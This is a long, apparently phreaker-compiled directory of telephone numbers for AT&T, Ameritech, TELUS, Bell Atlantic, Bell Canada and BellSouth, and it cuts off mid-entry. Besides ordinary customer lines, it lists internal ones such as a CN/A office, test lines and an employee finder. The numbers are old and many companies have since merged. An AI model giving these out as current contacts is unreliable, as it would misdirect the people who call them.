+1-800-233-1222 AT&T National Special Needs Center (NSNC) Voice. +1-800-235-4288 AT&T America. +1-800-241-LOST AT&T Lost/Stolen Calling Cards. +1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet) +1-800-242-6005 AT&T Internet Services. +1-800-243-0506 AT&T Find America Directory Service. +1-800-247-1212 AT&T. +1-800-247-6636 AT&T Wireless Services In-Flight Customer Care. +1-800-248-3632 AT&T Data Network Business Information Solutions. +1-800-252-7266 AT&T Alascom. (Anchorage, Alaska) +1-800-253-3846 AT&T Customer Care Center for the Federal Government. +1-800-254-8442 AT&T Repairs and Billing. +1-800-255-1242 AT&T Customer Information Center (Canada) +1-800-258-0123 AT&T Customer Care Center. +1-800-266-4014 AT&T Payroll and Employee Verification. +1-800-268-5931 AT&T Wireless Service VMB. +1-800-268-5939 AT&T (Operator) +1-800-305-9494 AT&T Wireless (MetroCall) Messaging. +1-800-322-MWBE AT&T Supplier Diversity Program Information Line. +1-800-325-0138 AT&T Small Business Customer Care. +1-800-325-1230 AT&T Calling Card Inquiries. +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-338-8095 AT&T (Mandarin) +1-800-338-8097 AT&T (Korean, Cantonese, Mandarin) +1-800-338-8106 AT&T (Cantonese) +1-800-338-8120 AT&T (Japanese) +1-800-342-5288 AT&T Customer Care Center. +1-800-344-5100 AT&T Voice/ISDN Services. +1-800-344-9248 AT&T. +1-800-345-4746 AT&T (Tagalog) +1-800-348-8288 AT&T Shareholder Services. +1-800-351-5855 AT&T Helpdesk. +1-800-361-2218 AT&T Canada. +1-800-362-9689 AT&T Customer Network Service Center. +1-800-367-7956 AT&T Switched Repair Service Center. +1-800-387-1026 AT&T Canada Business Sales. +1-800-387-1926 AT&T Canada Customer Care Centre. +1-800-4-ONE-RATE AT&T One Rate plan subscriptions. +1-800-400-1447 AT&T WorldNet Service Billing. +1-800-418-8999 AT&T Customer Care Center. (long distance service) +1-800-422-6622 AT&T Call Acquisition/Fault Management Helpline. +1-800-423-4343 AT&T Universal Card. +1-800-424-6030 AT&T's Matching Gift Processing Center. +1-800-425-5288 AT&T Products and Services. +1-800-426-8686 AT&T Printed Directories. (U.S. only) +1-800-428-8468 AT&T Global Services Center. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only) +1-800-438-3151 AT&T Wireless, Job Line. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-448-1008 AT&T Carrier Choice Protection. +1-800-448-8600 AT&T Global Customer Service Center. +1-800-462-4463 Rogers AT&T Wireless. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-503-6961 AT&T New York Local One Rate Sales. +1-800-503-6962 AT&T Texas Local One Rate Sales. +1-800-505-2162 AT&T Management Employment. +1-800-522-2157 AT&T Investigations Department. +1-800-524-2455 AT&T Customer Care. +1-800-525-7955 AT&T Direct Call Cards. +1-800-526-0253 AT&T Business Continuity Recovery Center. +1-800-528-0465 AT&T CampusWide Access Solutions. +1-800-532-2021 AT&T Carrier Line Charge Information. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-542-2025 AT&T (Russian) +1-800-552-3373 AT&T Wireless Advanced Network Services Support. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-2255 AT&T 1-800 Directory Advertising. +1-800-562-6275 AT&T Message Sender (Send automated messages to any number) +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-562-7288 AT&T Occupational Employment. +1-800-565-4708 AT&T Canada Long Distance Services. +1-800-567-3692 AT&T Canada Long Distance Services. (French) +1-800-567-4672 AT&T Canada Electronic Commerce Services. +1-800-575-5511 AT&T Canada Long Distance Services. +1-800-575-5533 AT&T Canada Residential Sales. (French) +1-800-575-9999 AT&T Canada. +1-800-628-8486 AT&T Language Line Services. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-637-0007 AT&T Network Management Support (NMSC), Lucent. (options) +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-647-9808 AT&T (Hindi) +1-800-661-2268 Rogers AT&T Wireless Automated Self-Service System. +1-800-662-3036 AT&T Texas Local One Rate Service. +1-800-662-6214 AT&T Calling Card Protection line. +1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card. +1-800-662-8439 AT&T Employee Benefits. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-670-6000 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-678-7918 AT&T Business Customer Care Center. +1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice) +1-800-682-8786 AT&T Telecommunications Relay (TTY) +1-800-7-HOSTIN AT&T Internet Services. +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-746-7846 AT&T Internet Services. +1-800-752-0093 AT&T Language Line Services. +1-800-752-6096 AT&T Language Line Customer Service Center. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-790-6000 AT&T Canada Long Distance Services. +1-800-807-2466 AT&T Learning Points Program. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-822-9009 AT&T Corporate Security, internal investigations. +1-800-826-2600 AT&T (Polish) +1-800-827-1226 AT&T Global Network Systems. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-831-5259 AT&T WorldNet Business/Data Services. +1-800-833-0520 AT&T (Vietnamese) +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-833-8134 Telecommunications Relay Service (TRS) Voice Callers (non-TDD/TT) +1-800-842-9710 AT&T Telecommunications Relay Service (TRS) for TDD/TT users. +1-800-850-TIES AT&T Easy Reach 800. (Call to setup Easy Reach 800s) +1-800-852-8935 AT&T Amcom Software Helpline. +1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-858-9857 AT&T True Rewards (option 1) +1-800-872-3883 AT&T Operator. +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-878-3500 AT&T True Connections Personal 500 Number Service. +1-800-888-7600 AT&T Wireless Customer Service. +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-892-3850 AT&T Wireless Long-Distance Service. +1-800-942-6726 AT&T Usage Minimum. +1-800-957-9000 AT&T Canada. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-958-6000 AT&T Canada Long Distance Services. +1-800-959-1090 AT&T New York Local Service. +1-800-967-5363 AT&T WorldNet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-ATT-4ALL AT&T New York Local Service. +1-800-FIND-ATT AT&T FIND Center. (resource to find out AT&T numbers and info) +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) +1-800-IMAGINE Rogers AT&T Wireless. +1-800-MEGSCOM AT&T Outbound MEGACOM WATS. +1-800-TRAINER AT&T 800 Trainer (Corporate) Education Center. +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-877-379-4199 AT&T Canada ADSL Internet Service. +1-877-397-3636 AT&T Canada ADSL Internet Service. +1-877-472-6793 AT&T HR Answers. +1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard) +1-888-387-8852 AT&T Order Center. (order AT&T d0x!) +1-888-8-METNET MetroNet AT&T Canada. +1-888-863-8638 AT&T Canada Customer Service. +1-888-888-5413 AT&T WorldNet Service. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. +1-888-933-1212 AT&T Cellular phone accessories. (U.S. only) +1-888-ATT-1233 AT&T Canada Internet Service. +1-888-ATT-ALL1 AT&T Customer Care Center. +1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ. +1-888-ATT-TRW3 AT&T True Rewards Account questions. +1-888-OUR-FAMILY AT&T. (Join the AT&T family) + + +------------------------------------------------------------------------------- + Ameritech: +------------------------------------------------------------------------------- + +(314) 444-4444 Ameritech (St. Louis Office) +1-800-207-2228 Ameritech. +1-800-221-0994 Ameritech Cellular and Paging. +1-800-242-3225 Ameritech Messaging/Monitoring. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-249-4449 Ameritech Yellow Pages Advertising Sales. +1-800-257-0902 Ameritech Main Office. +1-800-292-9340 Ameritech Pressure Cleaning Systems. +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-331-5454 Ameritech. +1-800-346-4377 Ameritech Directory Order Center. +1-800-433-8505 Ameritech Special Needs Center. +1-800-446-PAGE Ameritech Cellular and Paging. +1-800-451-2761 Ameritech. +1-800-468-3949 Ameritech Automated Services. +1-800-475-7449 Ameritech Payphone Repair. +1-800-480-8088 Ameritech Business Solutions Center. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-523-7076 Ameritech Security Systems. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-572-4545 Ameritech's Automated Trouble Report/Repair System. +1-800-621-4533 Ameritech Bilingual Customer Service. +1-800-621-8650 Ameritech's Lifeline program. +1-800-624-8291 Ameritech Employment Office. (Illinois) +1-800-642-4289 Ameritech Advertising. +1-800-647-9000 Ameritech Pages Plus Advertising. +1-800-649-3777 Ameritech. (TTY/TDD) +1-800-660-1000 Ameritech Customer Service. +1-800-660-3000 Ameritech Small Business Services. +1-800-662-4531 Ameritech Cellular and Paging. +1-800-680-6808 Ameritech Business Solutions Center. +1-800-707-9999 Ameritech. +1-800-719-5822 Ameritech Dedicated Internet Access. +1-800-762-4210 SBC Ameritech Information Industry Services. +1-800-769-4099 Ameritech Annoyance Call Bureau. +1-800-809-0878 Ameritech Payphones. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-824-9410 SBC Ameritech Listing Service Group. +1-800-848-CAST Ameritech (Americast) Cable Services. +1-800-873-5501 Ameritech's automated billing. +1-800-924-1000 Ameritech Customer Service. +1-800-942-9240 Ameritech Employment Office. (Chicago area) +1-800-AMERITECH Ameritech. Calling card, collect calls, operator assisted. +1-800-EASY-FIND Ameritech Employee Finder. +1-800-MOBILE-1 Ameritech Cellular and Paging. +1-800-NET-8775 Ameritech Interactive Media Services. (Internet) +1-800-WORKLIFE Ameritech Home Office Telecom Center. +1-877-235-2994 Ameritech Cellular. +1-877-432-3279 Ameritech. +1-888-282-9566 Ameritech Security Systems. +1-888-635-5050 Ameritech Products and Services. +1-888-AMERITECH Ameritech. + + +------------------------------------------------------------------------------- + BCTel/TELUS: +------------------------------------------------------------------------------- + +1-800-447-2688 BCTel Mobility's EasyTouch Service. +1-800-472-9773 TELUS (Payphone Dept.) +1-800-563-0624 TELUS Fax. +1-800-567-0000 TELUS Customer Relations Department. +1-800-575-2355 BCTELUS Help Center. +1-800-661-2355 BCTel Mobility Customer Service. +1-800-661-4260 TELUS Advertising. +1-800-661-6074 TELUS Mobility Paging Customer Service. +1-800-663-1011 BCTel's Billing Inquiry System. +1-800-663-1440 BCTel Call Center/Accounts. +1-800-663-2234 BCTel Network Sales. +1-800-663-2455 BCTel Mobility Customer Service Department. +1-800-973-2223 TELUS Directory Delivery Service. (order phone books!) +1-877-310-6110 TELUS Today Customer Service. +1-877-344-3330 BCTel Mobility. +1-888-685-2355 BCTel Multiple Option Messaging. +1-888-811-2323 BCTel Customer Service. +1-888-823-6873 TELUS Call Center Solutions. +1-888-867-7587 (1-888-TMS-PLUS) TELUS. +1-888-905-2284 BCTel Interactive Business Solutions. +1-888-TELUS-11 TELUS Services. +1-888-TELUS-22 TELUS Business Sales and Service. + + +------------------------------------------------------------------------------- + Bell Atlantic: +------------------------------------------------------------------------------- + +1-800-2-JOININ Verizon Wireless. +1-800-221-4393 Bell Atlantic VMS. +1-800-222-7900 Bell Atlantic. +1-800-225-5400 Bell Atlantic. +1-800-244-2355 Bell Atlantic's Interactive Demo Center. +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-255-BELL Bell Atlantic Mobile. +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-273-0053 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-800-281-8584 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-800-297-2355 Bell Atlantic's Major Customer Center. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-338-9144 Bell Atlantic Federal. +1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info) +1-800-416-9639 Bell Atlantic Help Desk. +1-800-446-9639 Bell Atlantic Yellow Pages Customer Relations. +1-800-510-2595 Bell Atlantic Massachusetts Recruitment Center. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-538-4747 Bell Atlantic Mobile. +1-800-550-9840 Bell Atlantic Long Distance. +1-800-556-2355 Bell Atlantic Communications. +1-800-621-8900 Bell Atlantic Corporate Headquarters. +1-800-621-9900 Bell Atlantic Corporate Switchboard. +1-800-631-2355 Bell Atlantic Shareowner Services. +1-800-636-2355 Bell Atlantic Communications. +1-800-646-3337 Bell Atlantic Federal Integrated Solutions Maintenance Center. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-651-2020 Bell Atlantic Credit Card from Chase. +1-800-652-2355 Bell Atlantic Yellow Pages. +1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department. +1-800-678-4796 Bell Atlantic New Jersey Recruitment Center. +1-800-678-4802 Bell Atlantic Upstate New York Recruitment Center. +1-800-678-4809 Bell Atlantic Maryland/Washington DC/Virginia Recruitment Center. +1-800-678-4816 Bell Atlantic Delaware/West Virginia Recruitment Center. +1-800-678-4869 Bell Atlantic Pennsylvania Recruitment Center. +1-800-727-2231 Bell Atlantic. +1-800-755-1068 Bell Atlantic Customer Service. (New Jersey) +1-800-822-0409 Bell Atlantic Teleproducts/Telephone Equipment. +1-800-830-2355 Bell Atlantic Mobile. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-846-1200 Bell Atlantic Large Business Solution Center. +1-800-922-0204 Bell Atlantic Mobile. +1-800-934-2255 Bell Atlantic. +1-800-993-BANI Bell Atlantic Network Integration Technical Assistance Center. +1-800-994-BANI Bell Atlantic Network Integration Human Resources. +1-800-PIC-BANI Bell Atlantic Network Integration Inside Sales Department. +1-800-WORK-4BA Bell Atlantic Automated Job Line. +1-877-263-0049 Bell Atlantic Video and DirecTV Service. +1-877-588-BELL Bell Atlantic Video Sales Department. +1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department. +1-888-206-2355 Bell Atlantic. +1-888-208-2355 Bell Atlantic. +1-888-219-2355 Bell Atlantic. +1-888-221-2355 Bell Atlantic. +1-888-223-2355 Bell Atlantic. +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID. +1-888-281-6279 Bell Atlantic Communications. +1-888-289-7309 Bell Atlantic Communications. +1-888-387-3800 Bell Atlantic Customer Service. +1-888-466-4646 Verizon Wireless. (Bell Atlantic, AirTouch and PrimeCo) +1-888-550-7095 Bell Atlantic Communications. +1-888-550-8178 Bell Atlantic Communications. +1-888-634-8910 Bell Atlantic Communications. +1-888-677-2355 Bell Atlantic View at One Support. +1-888-689-3820 Bell Atlantic Long Distance. +1-888-698-1205 Bell Atlantic Long Distance. +1-888-730-2355 Bell Atlantic. +1-888-741-2355 Bell Atlantic. +1-888-743-2355 Bell Atlantic. +1-888-745-2355 Bell Atlantic. +1-888-749-2355 Bell Atlantic. +1-888-751-2355 Bell Atlantic. +1-888-780-3961 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-780-3962 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-780-3964 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-780-3965 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-781-2355 Bell Atlantic. +1-888-782-2355 Bell Atlantic. +1-888-811-8731 Bell Atlantic Long Distance. +1-888-831-4947 Bell Atlantic Long Distance. +1-888-955-8141 Bell Atlantic Communications. +1-888-955-8361 Bell Atlantic Communications. +1-888-969-2355 Bell Atlantic. +1-888-983-2355 Bell Atlantic. +1-888-984-2355 Bell Atlantic. +1-888-985-2355 Bell Atlantic. +1-888-986-2355 Bell Atlantic. +1-888-988-2355 Bell Atlantic. +1-888-989-2355 Bell Atlantic. +1-888-990-2355 Bell Atlantic. +1-888-992-2355 Bell Atlantic. +1-888-993-2355 Bell Atlantic. +1-888-996-2355 Bell Atlantic. +1-888-997-2355 Bell Atlantic. +1-888-BIG-YELLOW Bell Atlantic Big Yellow Pages. +1-888-CALL-471 Bell Atlantic Benefits Center. + + +------------------------------------------------------------------------------- + BCE/Bell Canada/Stentor: +------------------------------------------------------------------------------- + +1-416-555-1313 Bell's local CN/A office for Toronto. +1-613-238-3103 Bell Canada Data Repair. (Ottawa Office) +310-1212 QuebecTel Customer Service Centre. +310-2355 Telephone Directory Ordering (free local directories) +310-7474 QuebecTel +310-BELL Bell Canada Customer Services. (toll free) +310-FAST Bell Sympatico. +310-INTERNET Bell Sympatico. +310-SURF Bell Sympatico. +811 Northwestel Call Centre. (BC, NWT, Yukon) + +1-800-225-5180 Bell Canada Client Service Center. +1-800-232-3227 Telcordia Technologies (Bellcore) FACS Customer Information Line. +1-800-238-8636 Bell Labs. +1-800-253-5011 Bell Mobility Paging. +1-800-256-2355 Bell Nexxia. (after hours OcTel VMB) +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-7412 Bell Canada Millennium Help Line. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-265-3076 Telesat Satellite Network Operations Control. +1-800-265-5925 Bell Canada Business Repair. (Data & I.X. Voice Repair) +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-0424 Bell Nexxia Customer Care. +1-800-267-1870 Telesat Canada. +1-800-267-2355 Bell Mobility Quebec. +1-800-267-5353 Tele-Direct Atlantic. +1-800-267-6511 IslandTel Special Needs Centre (Tdd) +1-800-267-6574 Bell Canada Datapac Customer Assistance Centre. +1-800-267-7002 Tele-Direct. +1-800-267-7640 Bell Canada's Ident-a-Call demonstration line. ("*" to enter VMS) +1-800-267-9502 Bell Canada. (Operator) +1-800-267-9556 Bell Canada. +1-800-268-1720 Bell Canada Multimedia. +1-800-268-2323 Bell ActiMedia. +1-800-268-2355 Bell Mobility Ottawa Office. +1-800-268-3550 Bell ActiMedia Internet Services. +1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories) +1-800-268-5933 Bell Canada Quickchange Department. +1-800-268-8531 Bell Repair. +1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send Faxes) +1-800-268-9107 Bell Canada Customer Care. +1-800-268-9160 Bell Canada Information Service Line. +1-800-270-2355 Business Consulting Group of Bell Canada. +1-800-323-6628 Bell Laboratories. +1-800-331-9948 Bell Canada Relay Service Customer Comment Line. +1-800-339-6359 BCE Investor Relations. (Montreal) +1-800-348-2226 IslandTel. +1-800-360-2373 Northern Telephone Service Center. +1-800-360-8555 Northern Telephone Limited. +1-800-361-0804 Telesat. +1-800-361-1423 Bell Canada (Dis)Advantage Conferencing. +1-800-361-3489 Bell Canada Customer Billing Center. +1-800-361-6010 Bell ActiMedia Yellow Pages. +1-800-361-7874 Bell Canada Millennium (Unknown) +1-800-361-8717 Bell Canada Professional Services. (Montreal) +1-800-361-9844 Bell Canada SmartTouch Information Line. (French) +1-800-363-2355 Bell Canada's Total Solution Center for Business. +1-800-363-3781 Bell Mobility Paging. +1-800-363-5001 Bell ActiMedia Yellow Pages. +1-800-363-6522 Stentor Calling Card Centre. +1-800-363-9612 Bell Technical Services. +1-800-387-4411 Bell Canada's Business Direct Marketing Centre. +1-800-387-4441 Bell Advantage Call Centre Solutions. (Telemarketing) +1-800-387-5072 Bell Mobility's Activation Department. +1-800-387-5185 Bell Phonecentre Information Line. +1-800-387-9571 Bell Mobility Radio. +1-800-387-9999 Bell Gardium Security Representative. +1-800-405-6486 Telecom Canada Ltd. +1-800-439-2355 Direct Bell. (Wireless Communications) +1-800-461-1156 Bell ActiMedia. +1-800-461-1747 Bell Canada Millennium (Voice Test) +1-800-461-1760 Bell Canada Millennium (Unknown) +1-800-461-1879 Bell Canada Millennium (Data Test) +1-800-461-2921 Bell Canada SmartTouch Information Line. +1-800-461-5711 Northern Telephone. +1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct) +1-800-461-9819 Northern Telephone Ltd. +1-800-463-4778 Bell Canada Professional Services. (Quebec City) +1-800-463-4833 Bell ActiMedia Yellow Pages. +1-800-463-5376 Bell CSR-Quebec (Quebec City) +1-800-465-2355 Bell Mobility. +1-800-465-6960 Bell ActiMedia. +1-800-470-2355 Bell Mobility. +1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center) +1-800-521-CORE Bellcore. +1-800-555-1111 Bell LD. 3 way calling, calling card and many other features. +1-800-555-4999 Bell Canada Residential and Business Service. +1-800-561-0934 BCE Inquiry Line. +1-800-561-2355 Bell Mobility. (French) +1-800-561-4459 NBTel Internet. +1-800-561-6283 NBTel Customer Care Center. +1-800-561-8868 Stentor's Country Direct Information Line. +1-800-561-8888 Stentor's Calling Card Centre. +1-800-563-2900 NewTel Communications. +1-800-563-3794 Bell Mobility (Ottawa Office) +1-800-563-5150 NewTel Mobility. +1-800-563-5400 NewTel Communications. +1-800-563-7171 NewTel Communications. +1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel) +1-800-563-8700 NewTel Communications. +1-800-565-1290 Tele-Direct Atlantic. +1-800-565-1570 IslandTel Repair Service. +1-800-565-4287 IslandTel Business Inquiries. +1-800-565-4737 IslandTel Business Office. +1-800-565-4737 IslandTel. +1-800-565-6283 NBTel Customer Care Centre. +1-800-565-8884 NBTel Express. +1-800-567-1811 Bell Electronic Business Solutions Information Center. +1-800-567-2448 Bell Canada Millennium (Test Line) +1-800-567-9633 Bell Canada. +1-800-574-2455 IslandTel. +1-800-583-3746 Bell Canada First Rate. +1-800-611-6500 Bell Mobility Cellular. +1-800-641-2311 Bell Canada Customer Service. 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(Toronto Office) +1-800-749-3081 Bell Canada Office. +1-800-749-3085 Bell Canada Ontario Control Centre. +1-800-749-3279 Bell Canada Business Sales. +1-800-749-3743 Bell Canada. (Toronto Office) +1-800-749-3745 Bell Canada Ontario Control Centre. +1-800-749-4198 Bell Canada Ontario Control Centre. +1-800-749-4208 Bell Canada Ontario Control Centre. +1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager) +1-800-749-9770 Bell Canada. (Toronto Office) +1-800-768-2220 Bell (VIC) Voice Interactive Communications System. +1-800-772-2141 Bell Canada Millennium (Setshop) +1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service) +1-800-789-9073 Bell Simple Connections. +1-800-803-0077 Bell QuickChange Cards Customer Service. +1-800-847-7303 Bell Minor Hockey Hotline. +1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service. +1-800-855-0511 Bell Canada Relay Service (BCRS) Operator. +1-800-862-6330 MTS (Manitoba Telephone System) +1-800-889-4670 Bell Canada's Total Solution Center for Business. +1-800-889-4672 Bell Canada Business. +1-800-889-4676 Bell Canada Business. +1-800-889-4681 Bell Advantage Internet Interactive Information System. +1-800-889-4686 Bell Canada's Business Direct Marketing Centre. +1-800-889-4690 Bell Canada Small and Medium Business. +1-800-889-4691 Bell Advantage Internet Interactive Information System. +1-800-931-3282 IslandTel Data Communications. +1-800-936-6245 IslandTel. (IslandTel Express="1") +1-800-938-4442 IslandTel Express. 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(Chinese) +1-877-241-6228 Bell Sympatico High Speed Edition Internet Service. +1-877-268-4273 Bell Gardium Sales Department. +1-877-318-0859 Bell Sympatico. +1-877-327-9598 Bell Sympatico. +1-877-327-9630 Bell Canada's Interactive Sympatico Ordering Service. +1-877-35-SPEED Bell Sympatico. +1-877-381-BELL Bell Mobility. +1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service. +1-877-499-1260 Bell Canada's SmartTouch Promotion Line. +1-877-499-1263 Bell Canada's SmartTouch Line. +1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call. +1-877-500-2688 Bell Canada's Interactive Sympatico Ordering Service. +1-877-500-2693 Bell Canada's Interactive Sympatico Ordering Service. +1-877-500-2694 Bell Canada's Interactive Sympatico Ordering Service. +1-877-500-2699 Bell Canada's Interactive Sympatico Ordering Service. +1-877-506-BELL Bell ExpressVu. +1-877-51-SPEED Bell Sympatico Internet Services. +1-877-518-BELL Bell ExpressVu. +1-877-520-BELL Bell ExpressVu. +1-877-521-BELL Bell ExpressVu. +1-877-540-8222 Bell Canada's Interactive Sympatico Ordering Service. +1-877-595-0210 Bell ActiMedia. +1-877-60-SPEED Bell Sympatico. +1-877-652-4119 Bell's SmartTouch Promotion. +1-877-70-SPEED Bell Sympatico. +1-877-723-4400 Bell Mobility Totalcom. +1-877-733-BELL Bell Canada Direct Marketing Business Center. +1-877-763-BELL Bell Canada's Total Solution Center for Business Customers. +1-877-801-BELL Bell Canada's Direct Marketing Business Centre. +1-877-811-6891 Bell Sympatico High Speed Edition. +1-877-811-6892 Bell Sympatico High Speed Edition. +1-877-811-6893 Bell Sympatico High Speed Edition. +1-877-811-6894 Bell Sympatico High Speed Edition. +1-877-811-6895 Bell Sympatico High Speed Edition. +1-877-828-8686 IslandTel Sales. +1-877-885-2424 Bell First Rate 24 Hour Enrollment Service. +1-877-90-SPEED Bell Sympatico. +1-877-91-SPEED Bell Sympatico. +1-877-92-SPEED Bell Sympatico. +1-877-96-SPEED Bell Sympatico. +1-877-99-SPEED Bell Sympatico. +1-877-999-2355 Bell Canada's Voice Response System. +1-877-AIT-3113 Aliant Investor Relations. +1-877-ALL-WKND Bell Mobility. +1-877-BELLCORE Telcordia Technologies. (formerly known as Bellcore) +1-877-BUNDLE-1 Bell Canada's Direct Marketing Centre. +1-877-FIRSTRATE Bell First Rate Interactive Information and Enrollment Service. +1-877-SIMPLY-1 Bell Mobility Simply One Plan. +1-888-217-6533 Bell Mobility Pager. +1-888-217-6535 Bell Mobility Pager. +1-888-217-6538 Bell Mobility Pager. +1-888-217-6539 Bell Mobility Pager. +1-888-217-6540 Bell Mobility Service. +1-888-24-FIRST Bell First Rate Interactive Information and Enrollment Service. +1-888-242-2355 Bell (Spanish) +1-888-291-6799 Bell Mobility Order Desk. +1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service. +1-888-308-5640 Bell Mobility Paging. +1-888-333-4454 Bell Equipement D Imprimerie. +1-888-368-9110 Northwestel Account Manager. +1-888-377-2355 Bell First Rate Interactive Information and Enrollment Service. +1-888-378-2355 Bell Canada's Ontario Direct Marketing Center. +1-888-386-5555 Stentor Communications Production Fund. +1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL) +1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular. +1-888-423-2333 Northwestel Business Support Centre. +1-888-433-0317 Bell Sympatico. +1-888-442-0222 Bell Mobility Accounts Receivable. +1-888-457-7308 Bell Mobility Order Desk. +1-888-457-7309 Bell Mobility. +1-888-457-7310 Bell Mobility. +1-888-490-3001 Tele-Direct Atlantic. +1-888-502-2222 Bell Canada. (Chinese/Vietnamese.) +1-888-505-2222 Bell Canada. (Chinese/Vietnamese.) +1-888-506-2222 Bell Canada. (Italian) +1-888-512-2222 Bell Canada. (Chinese/Vietnamese.) +1-888-513-2222 Bell Canada East and South Asian Hotline. +1-888-515-2222 Bell Canada East and South Asian Hotline. +1-888-519-2222 Bell Canada East and South Asian Hotline. +1-888-521-2222 Bell Canada Operator. +1-888-527-2222 Bell Canada's Direct Marketing Centre. +1-888-531-2222 Bell Canada Operator. +1-888-532-2222 Bell Canada's Direct Marketing Centre. +1-888-538-2222 Bell Canada's Direct Marketing Centre. +1-888-542-3784 Bell Mobility Out of the Box Program. +1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility. +1-888-739-2737 (1-888-REWARDS) Bell Total Rewards. +1-888-788-2355 Bell Canada Business Consulting Group. +1-888-794-0777 Stentor Canadian Network Management. +1-888-796-1825 Bell (Dis)Advantage Internet Solutions. +1-888-865-2239 Bell Mobility Pager. +1-888-904-2355 Bell First Rate Interactive Information and Enrollment Service. +1-888-932-6666 BCE Corp. Communications. +1-888-DIRECPC Telesat Canada's Direct PC Customer Care Centre. + + +------------------------------------------------------------------------------- + BellSouth: +------------------------------------------------------------------------------- + +1-800-237-6432 BellSouth Advertising and Publishing. +1-800-285-2355 BellSouth. +1-800-419-2355 BellSouth. (Spanish) +1-800-436-8638 BellSouth Internet Home. (U.S. only) +1-800-451-6549 BellSouth Customer Service. +1-800-541-1229 BellSouth Financial Services. +1-800-639-2455 BellSouth Billing Services. +1-800-733-2355 BellSouth Phones. +1-800-753-0223 BellSouth Order Line. +1-800-767-2355 BellSouth Automated Billing Services. +1-800-775-2355 BellSouth Phones. +1-800-831-4323 BellSouth. +1-800-832-6338 BellSouth Memory Call Service. +1-800-842-1558 BellSouth Benefits Service Center. +1-800-858-9413 BellSouth ISDN order line. +1-800-925-0010 BellSouth Communications Systems. +1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only) +1-800-925-2525 BellSouth Business. +1-800-962-3387 BellSouth Advertising and Publishing. +1-800-995-9999 BellSouth Phones. +1-800-BELL-SOUTH Collect, Calling Card and 